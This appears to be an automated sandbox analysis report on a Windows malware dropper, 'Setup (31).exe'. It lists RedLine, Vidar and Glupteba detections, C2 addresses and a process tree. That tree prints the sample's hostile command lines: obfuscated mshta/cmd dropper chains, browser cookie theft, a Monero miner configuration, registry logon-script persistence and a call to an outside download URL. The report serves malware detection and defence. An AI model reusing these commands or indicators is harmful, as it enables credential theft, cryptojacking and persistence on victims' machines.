Resubmissions
15/10/2024, 15:36
241015-s1zlzasdkc 1001/07/2024, 18:32
240701-w6yteawhmq 1001/07/2024, 14:52
240701-r82wmaxdnd 1001/07/2024, 14:52
240701-r8syqa1dpp 1011/03/2024, 21:22
240311-z8dsssgg58 1001/09/2021, 13:18
210901-5bmxjspa5s 1001/09/2021, 13:04
210901-te4btfspqa 1001/09/2021, 05:12
210901-4wnkwm1p3j 1031/08/2021, 21:47
210831-41rp97dma2 10Analysis
-
max time kernel
150s -
max time network
1815s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
24/08/2021, 20:54
General
-
Target
Setup (31).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Score
10/10
Malware Config
Extracted
Family
redline
Botnet
supertraff
C2
135.148.139.222:1494
Extracted
Family
redline
Botnet
v2
C2
195.2.78.163:25450
Extracted
Family
redline
Botnet
dibild2
C2
135.148.139.222:1494
Extracted
Family
redline
Botnet
24.08
C2
95.181.172.100:55640
Extracted
Family
metasploit
Version
windows/single_exec
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 1 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 7 IoCs
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
-
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 39 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 3 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 11 IoCs
Detects Themida, an advanced Windows software protection system.
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 3 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 21 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
-
Drops file in Program Files directory 5 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 37 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Kills process with taskkill 8 IoCs
-
Runs ping.exe 1 TTPs 3 IoCs
-
Script User-Agent 8 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 16 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (31).exe"C:\Users\Admin\AppData\Local\Temp\Setup (31).exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\Z2mfN2wLNIRF1r1bazJw2eu7.exe"C:\Users\Admin\Documents\Z2mfN2wLNIRF1r1bazJw2eu7.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\Z2mfN2wLNIRF1r1bazJw2eu7.exe"C:\Users\Admin\Documents\Z2mfN2wLNIRF1r1bazJw2eu7.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\Documents\Nalet2BzKskQn9fcnHV_6iLI.exe"C:\Users\Admin\Documents\Nalet2BzKskQn9fcnHV_6iLI.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\P9Kzl3BXUZn9Fgph2BeDlxqn.exe"C:\Users\Admin\Documents\P9Kzl3BXUZn9Fgph2BeDlxqn.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Documents\a_8MkmqnV4_KLOdudsLUy16a.exe"C:\Users\Admin\Documents\a_8MkmqnV4_KLOdudsLUy16a.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\_Qh1BFcPPY40MLCF9s58ouEp.exe"C:\Users\Admin\Documents\_Qh1BFcPPY40MLCF9s58ouEp.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\cOs_BXQcpZlmNOZWD6UOx6tI.exe"C:\Users\Admin\Documents\cOs_BXQcpZlmNOZWD6UOx6tI.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Documents\FUDHSf7h4zBfFgueJKh_YOLM.exe"C:\Users\Admin\Documents\FUDHSf7h4zBfFgueJKh_YOLM.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\2667571.exe"C:\Users\Admin\AppData\Roaming\2667571.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\1944140.exe"C:\Users\Admin\AppData\Roaming\1944140.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Roaming\4482817.exe"C:\Users\Admin\AppData\Roaming\4482817.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\2589576.exe"C:\Users\Admin\AppData\Roaming\2589576.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\Documents\YedVUylDyEiGQq86LPtqq8zE.exe"C:\Users\Admin\Documents\YedVUylDyEiGQq86LPtqq8zE.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\YedVUylDyEiGQq86LPtqq8zE.exeC:\Users\Admin\Documents\YedVUylDyEiGQq86LPtqq8zE.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\Documents\OLjczNcDtq7CoaIKvC_Bno9N.exe"C:\Users\Admin\Documents\OLjczNcDtq7CoaIKvC_Bno9N.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3152 -s 6683⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3152 -s 6803⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3152 -s 6403⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3152 -s 6443⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3152 -s 10803⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\55CSt7QvFaXOtj9wKAVdX3Ex.exe"C:\Users\Admin\Documents\55CSt7QvFaXOtj9wKAVdX3Ex.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\55CSt7QvFaXOtj9wKAVdX3Ex.exe"C:\Users\Admin\Documents\55CSt7QvFaXOtj9wKAVdX3Ex.exe"3⤵
-
-
-
C:\Users\Admin\Documents\JA1_mZMAR5dMYoFiys5ONNVm.exe"C:\Users\Admin\Documents\JA1_mZMAR5dMYoFiys5ONNVm.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 3883⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 4203⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 4283⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 5963⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 5723⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 6963⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 7563⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 6843⤵
- Program crash
-
-
C:\Users\Admin\Documents\JA1_mZMAR5dMYoFiys5ONNVm.exe"C:\Users\Admin\Documents\JA1_mZMAR5dMYoFiys5ONNVm.exe"3⤵
-
-
-
C:\Users\Admin\Documents\IxVBqDAPDBRQVObZb7uVteh3.exe"C:\Users\Admin\Documents\IxVBqDAPDBRQVObZb7uVteh3.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Documents\llRLdQ6kcchFOZLpQzbtE00U.exe"C:\Users\Admin\Documents\llRLdQ6kcchFOZLpQzbtE00U.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Documents\IPIW6IYmWTpRHMihDi7ufLvA.exe"C:\Users\Admin\Documents\IPIW6IYmWTpRHMihDi7ufLvA.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵
-
-
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\34qKnz8Mn84B8wq6168Hdh3Z.exe"C:\Users\Admin\Documents\34qKnz8Mn84B8wq6168Hdh3Z.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCRipt: ClOSe( creATEoBJEcT ( "WscRIpT.sHEll" ). RUN ( "Cmd /Q /C tYPe ""C:\Users\Admin\Documents\34qKnz8Mn84B8wq6168Hdh3Z.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\34qKnz8Mn84B8wq6168Hdh3Z.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 , TRUE ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\34qKnz8Mn84B8wq6168Hdh3Z.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "" =="" for %W iN ( "C:\Users\Admin\Documents\34qKnz8Mn84B8wq6168Hdh3Z.exe" ) do taskkill -IM "%~nXW" -f4⤵
-
C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXeWO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu95⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCRipt: ClOSe( creATEoBJEcT ( "WscRIpT.sHEll" ). RUN ( "Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 , TRUE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 " =="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" ) do taskkill -IM "%~nXW" -f7⤵
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE6⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -IM "34qKnz8Mn84B8wq6168Hdh3Z.exe" -f5⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\Documents\jyyRfJMJapsUbT7vH6I48cYl.exe"C:\Users\Admin\Documents\jyyRfJMJapsUbT7vH6I48cYl.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2180 -s 2563⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
-
-
C:\Users\Admin\Documents\XsOlBxu3PW74BnHpdJdGFVwV.exe"C:\Users\Admin\Documents\XsOlBxu3PW74BnHpdJdGFVwV.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "XsOlBxu3PW74BnHpdJdGFVwV.exe" /f & erase "C:\Users\Admin\Documents\XsOlBxu3PW74BnHpdJdGFVwV.exe" & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "XsOlBxu3PW74BnHpdJdGFVwV.exe" /f4⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\ZswDK5S0kHgsgpxHlxcKA7GG.exe"C:\Users\Admin\Documents\ZswDK5S0kHgsgpxHlxcKA7GG.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\4205854057.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\4205854057.exe"C:\Users\Admin\AppData\Local\Temp\4205854057.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1552383265.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\1552383265.exe"C:\Users\Admin\AppData\Local\Temp\1552383265.exe"4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "ZswDK5S0kHgsgpxHlxcKA7GG.exe" /f & erase "C:\Users\Admin\Documents\ZswDK5S0kHgsgpxHlxcKA7GG.exe" & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "ZswDK5S0kHgsgpxHlxcKA7GG.exe" /f4⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\3eiF6QHUGUnCwF1S1IjvZ9vQ.exe"C:\Users\Admin\Documents\3eiF6QHUGUnCwF1S1IjvZ9vQ.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Documents\vh0Zh0kO6i0rjGATWAiIF89W.exe"C:\Users\Admin\Documents\vh0Zh0kO6i0rjGATWAiIF89W.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\4fyosRfKgssQUjdYnxlHh1p4.exe"C:\Users\Admin\Documents\4fyosRfKgssQUjdYnxlHh1p4.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\4fyosRfKgssQUjdYnxlHh1p4.exeC:\Users\Admin\Documents\4fyosRfKgssQUjdYnxlHh1p4.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\Documents\AN8PzFWIb4Cap3ACluJx1Anw.exe"C:\Users\Admin\Documents\AN8PzFWIb4Cap3ACluJx1Anw.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 7683⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 7283⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 7683⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 8643⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 9603⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 9923⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 10483⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 13483⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 13763⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 14123⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 15923⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 9123⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\vS47HnWIzHHa4hVfThGAUC5I.exe"C:\Users\Admin\Documents\vS47HnWIzHHa4hVfThGAUC5I.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\vS47HnWIzHHa4hVfThGAUC5I.exe"C:\Users\Admin\Documents\vS47HnWIzHHa4hVfThGAUC5I.exe" -q3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\WSLPIDqG5PyYGNx82zzOUOno.exe"C:\Users\Admin\Documents\WSLPIDqG5PyYGNx82zzOUOno.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-7U6OO.tmp\WSLPIDqG5PyYGNx82zzOUOno.tmp"C:\Users\Admin\AppData\Local\Temp\is-7U6OO.tmp\WSLPIDqG5PyYGNx82zzOUOno.tmp" /SL5="$40050,138429,56832,C:\Users\Admin\Documents\WSLPIDqG5PyYGNx82zzOUOno.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-OO7DQ.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-OO7DQ.tmp\Setup.exe" /Verysilent4⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe"C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-MOG54.tmp\Stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-MOG54.tmp\Stats.tmp" /SL5="$2039C,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-NSDTV.tmp\builder.exe"C:\Users\Admin\AppData\Local\Temp\is-NSDTV.tmp\builder.exe" -algo'' -pool'stratum+tcp://xmr-asia1.nanopool.org:14444' -wallet'42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s' -load'50' -idleload'50' -loggerSa'2no.co' -loggerS'1C6Ua7' -loggerRa'iplogger.org' -loggerR'1cmAy7' -loggerWa'2no.co' -loggerW'' -ico'' -glue'' -error'' -worker'' -icrypt'' -sremoval'' -ntask'SystemCheck' -ptask'System\' -atask'Microsoft_Corporation' -dtask'Starts_a_system_diagnostics_application_to_scan_for_errors_and_performance_problems.' -pinstall'Roaming\Microsoft\Windows\' -ninstall'Helper' -sinstall'-SystemCheck'7⤵
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 7566⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 8086⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 7446⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 8206⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 9526⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 9926⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 10446⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 13486⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 14206⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 14766⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 8966⤵
- Program crash
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe"C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8JT9N.tmp\Inlog.tmp"C:\Users\Admin\AppData\Local\Temp\is-8JT9N.tmp\Inlog.tmp" /SL5="$103A2,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-OK1M5.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-OK1M5.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7217⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ASHS2.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-ASHS2.tmp\Setup.tmp" /SL5="$40214,17356095,721408,C:\Users\Admin\AppData\Local\Temp\is-OK1M5.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7218⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-FI8EH.tmp\{app}\microsoft.cab -F:* %ProgramData%9⤵
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-FI8EH.tmp\{app}\microsoft.cab -F:* C:\ProgramData10⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f9⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f10⤵
-
-
-
C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"9⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://afleof21klg.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^¶m=7219⤵
-
-
